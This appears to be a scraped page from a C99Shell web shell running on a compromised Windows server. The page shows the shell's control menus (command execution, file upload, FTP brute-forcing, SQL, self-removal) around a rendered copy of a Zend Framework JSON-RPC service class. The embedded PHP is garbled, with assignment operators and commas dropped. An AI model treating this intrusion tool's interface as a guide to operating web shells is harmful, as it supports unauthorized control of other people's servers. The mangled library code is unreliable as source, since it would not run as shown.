!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\php\PEAR\Zend\Json\Server\Smd\   drwxrwxrwx
Free 7.25 GB of 239.26 GB (3.03%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Service.php (11.94 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Zend Framework
 *
 * LICENSE
 *
 * This source file is subject to the new BSD license that is bundled
 * with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * http://framework.zend.com/license/new-bsd
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to license@zend.com so we can send you a copy immediately.
 *
 * @category   Zend
 * @package    Zend_Json
 * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
 * @license    http://framework.zend.com/license/new-bsd     New BSD License
 */

/**
 * @see Zend_Json_Server_Smd
 */
require_once 'Zend/Json/Server/Smd.php';

/**
 * Create Service Mapping Description for a method
 *
 * @package    Zend_Json
 * @subpackage Server
 * @version    $Id: Service.php 18951 2009-11-12 16:26:19Z alexander $
 * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
 * @license    http://framework.zend.com/license/new-bsd     New BSD License
 */
class Zend_Json_Server_Smd_Service
{
    
/**#@+
     * Service metadata
     * @var string
     */
    
protected $_envelope  Zend_Json_Server_Smd::ENV_JSONRPC_1;
    protected 
$_name;
    protected 
$_return;
    protected 
$_target;
    protected 
$_transport 'POST';
    
/**#@-*/

    /**
     * Allowed envelope types
     * @var array
     */
    
protected $_envelopeTypes = array(
        
Zend_Json_Server_Smd::ENV_JSONRPC_1,
        
Zend_Json_Server_Smd::ENV_JSONRPC_2,
    );

    
/**
     * Regex for names
     * @var string
     */
    
protected $_nameRegex '/^[a-z][a-z0-9._]+$/i';

    
/**
     * Parameter option types
     * @var array
     */
    
protected $_paramOptionTypes = array(
        
'name'        => 'is_string',
        
'optional'    => 'is_bool',
        
'default'     => null,
        
'description' => 'is_string',
    );

    
/**
     * Service params
     * @var array
     */
    
protected $_params = array();

    
/**
     * Mapping of parameter types to JSON-RPC types
     * @var array
     */
    
protected $_paramMap = array(
        
'any'     => 'any',
        
'arr'     => 'array',
        
'array'   => 'array',
        
'assoc'   => 'object',
        
'bool'    => 'boolean',
        
'boolean' => 'boolean',
        
'dbl'     => 'float',
        
'double'  => 'float',
        
'false'   => 'boolean',
        
'float'   => 'float',
        
'hash'    => 'object',
        
'integer' => 'integer',
        
'int'     => 'integer',
        
'mixed'   => 'any',
        
'nil'     => 'null',
        
'null'    => 'null',
        
'object'  => 'object',
        
'string'  => 'string',
        
'str'     => 'string',
        
'struct'  => 'object',
        
'true'    => 'boolean',
        
'void'    => 'null',
    );

    
/**
     * Allowed transport types
     * @var array
     */
    
protected $_transportTypes = array(
        
'POST',
    );

    
/**
     * Constructor
     *
     * @param  string|array $spec
     * @return void
     * @throws Zend_Json_Server_Exception if no name provided
     */
    
public function __construct($spec)
    {
        if (
is_string($spec)) {
            
$this->setName($spec);
        } elseif (
is_array($spec)) {
            
$this->setOptions($spec);
        }

        if (
null == $this->getName()) {
            require_once 
'Zend/Json/Server/Exception.php';
            throw new 
Zend_Json_Server_Exception('SMD service description requires a name; none provided');
        }
    }

    
/**
     * Set object state
     *
     * @param  array $options
     * @return Zend_Json_Server_Smd_Service
     */
    
public function setOptions(array $options)
    {
        
$methods get_class_methods($this);
        foreach (
$options as $key => $value) {
            if (
'options' == strtolower($key)) {
                continue;
            }
            
$method 'set' ucfirst($key);
            if (
in_array($method$methods)) {
                
$this->$method($value);
            }
        }
        return 
$this;
    }

    
/**
     * Set service name
     *
     * @param  string $name
     * @return Zend_Json_Server_Smd_Service
     * @throws Zend_Json_Server_Exception
     */
    
public function setName($name)
    {
        
$name = (string) $name;
        if (!
preg_match($this->_nameRegex$name)) {
            require_once 
'Zend/Json/Server/Exception.php';
            throw new 
Zend_Json_Server_Exception(sprintf('Invalid name "%s" provided for service; must follow PHP method naming conventions'$name));
        }
        
$this->_name $name;
        return 
$this;
    }

    
/**
     * Retrieve name
     *
     * @return string
     */
    
public function getName()
    {
        return 
$this->_name;
    }

    
/**
     * Set Transport
     *
     * Currently limited to POST
     *
     * @param  string $transport
     * @return Zend_Json_Server_Smd_Service
     */
    
public function setTransport($transport)
    {
        if (!
in_array($transport$this->_transportTypes)) {
            require_once 
'Zend/Json/Server/Exception.php';
            throw new 
Zend_Json_Server_Exception(sprintf('Invalid transport "%s"; please select one of (%s)'$transportimplode(', '$this->_transportTypes)));
        }

        
$this->_transport $transport;
        return 
$this;
    }

    
/**
     * Get transport
     *
     * @return string
     */
    
public function getTransport()
    {
        return 
$this->_transport;
    }

    
/**
     * Set service target
     *
     * @param  string $target
     * @return Zend_Json_Server_Smd_Service
     */
    
public function setTarget($target)
    {
        
$this->_target = (string) $target;
        return 
$this;
    }

    
/**
     * Get service target
     *
     * @return string
     */
    
public function getTarget()
    {
        return 
$this->_target;
    }

    
/**
     * Set envelope type
     *
     * @param  string $envelopeType
     * @return Zend_Json_Server_Smd_Service
     */
    
public function setEnvelope($envelopeType)
    {
        if (!
in_array($envelopeType$this->_envelopeTypes)) {
            require_once 
'Zend/Json/Server/Exception.php';
            throw new 
Zend_Json_Server_Exception(sprintf('Invalid envelope type "%s"; please specify one of (%s)'$envelopeTypeimplode(', '$this->_envelopeTypes)));
        }

        
$this->_envelope $envelopeType;
        return 
$this;
    }

    
/**
     * Get envelope type
     *
     * @return string
     */
    
public function getEnvelope()
    {
        return 
$this->_envelope;
    }

    
/**
     * Add a parameter to the service
     *
     * @param  string|array $type
     * @param  array $options
     * @param  int|null $order
     * @return Zend_Json_Server_Smd_Service
     */
    
public function addParam($type, array $options = array(), $order null)
    {
        if (
is_string($type)) {
            
$type $this->_validateParamType($type);
        } elseif (
is_array($type)) {
            foreach (
$type as $key => $paramType) {
                
$type[$key] = $this->_validateParamType($paramType);
            }
        } else {
            require_once 
'Zend/Json/Server/Exception.php';
            throw new 
Zend_Json_Server_Exception('Invalid param type provided');
        }

        
$paramOptions = array(
            
'type' => $type,
        );
        foreach (
$options as $key => $value) {
            if (
in_array($keyarray_keys($this->_paramOptionTypes))) {
                if (
null !== ($callback $this->_paramOptionTypes[$key])) {
                    if (!
$callback($value)) {
                        continue;
                    }
                }
                
$paramOptions[$key] = $value;
            }
        }

        
$this->_params[] = array(
            
'param' => $paramOptions,
            
'order' => $order,
        );

        return 
$this;
    }

    
/**
     * Add params
     *
     * Each param should be an array, and should include the key 'type'.
     *
     * @param  array $params
     * @return Zend_Json_Server_Smd_Service
     */
    
public function addParams(array $params)
    {
        
ksort($params);
        foreach (
$params as $options) {
            if (!
is_array($options)) {
                continue;
            }
            if (!
array_key_exists('type'$options)) {
                continue;
            }
            
$type  $options['type'];
            
$order = (array_key_exists('order'$options)) ? $options['order'] : null;
            
$this->addParam($type$options$order);
        }
        return 
$this;
    }

    
/**
     * Overwrite all parameters
     *
     * @param  array $params
     * @return Zend_Json_Server_Smd_Service
     */
    
public function setParams(array $params)
    {
        
$this->_params = array();
        return 
$this->addParams($params);
    }

    
/**
     * Get all parameters
     *
     * Returns all params in specified order.
     *
     * @return array
     */
    
public function getParams()
    {
        
$params = array();
        
$index  0;
        foreach (
$this->_params as $param) {
            if (
null === $param['order']) {
                if (
array_search($indexarray_keys($params), true)) {
                    ++
$index;
                }
                
$params[$index] = $param['param'];
                ++
$index;
            } else {
                
$params[$param['order']] = $param['param'];
            }
        }
        
ksort($params);
        return 
$params;
    }

    
/**
     * Set return type
     *
     * @param  string|array $type
     * @return Zend_Json_Server_Smd_Service
     */
    
public function setReturn($type)
    {
        if (
is_string($type)) {
            
$type $this->_validateParamType($typetrue);
        } elseif (
is_array($type)) {
            foreach (
$type as $key => $returnType) {
                
$type[$key] = $this->_validateParamType($returnTypetrue);
            }
        } else {
            require_once 
'Zend/Json/Server/Exception.php';
            throw new 
Zend_Json_Server_Exception('Invalid param type provided ("' gettype($type) .'")');
        }
        
$this->_return $type;
        return 
$this;
    }

    
/**
     * Get return type
     *
     * @return string|array
     */
    
public function getReturn()
    {
        return 
$this->_return;
    }

    
/**
     * Cast service description to array
     *
     * @return array
     */
    
public function toArray()
    {
        
$name       $this->getName();
        
$envelope   $this->getEnvelope();
        
$target     $this->getTarget();
        
$transport  $this->getTransport();
        
$parameters $this->getParams();
        
$returns    $this->getReturn();

        if (empty(
$target)) {
            return 
compact('envelope''transport''parameters''returns');
        }

        return 
$paramInfo compact('envelope''target''transport''parameters''returns');
    }

    
/**
     * Return JSON encoding of service
     *
     * @return string
     */
    
public function toJson()
    {
        
$service = array($this->getName() => $this->toArray());

        require_once 
'Zend/Json.php';
        return 
Zend_Json::encode($service);
    }

    
/**
     * Cast to string
     *
     * @return string
     */
    
public function __toString()
    {
        return 
$this->toJson();
    }

    
/**
     * Validate parameter type
     *
     * @param  string $type
     * @return true
     * @throws Zend_Json_Server_Exception
     */
    
protected function _validateParamType($type$isReturn false)
    {
        if (!
is_string($type)) {
            require_once 
'Zend/Json/Server/Exception.php';
            throw new 
Zend_Json_Server_Exception('Invalid param type provided ("' $type .'")');
        }

        if (!
array_key_exists($type$this->_paramMap)) {
            
$type 'object';
        }

        
$paramType $this->_paramMap[$type];
        if (!
$isReturn && ('null' == $paramType)) {
            require_once 
'Zend/Json/Server/Exception.php';
            throw new 
Zend_Json_Server_Exception('Invalid param type provided ("' $type '")');
        }

        return 
$paramType;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--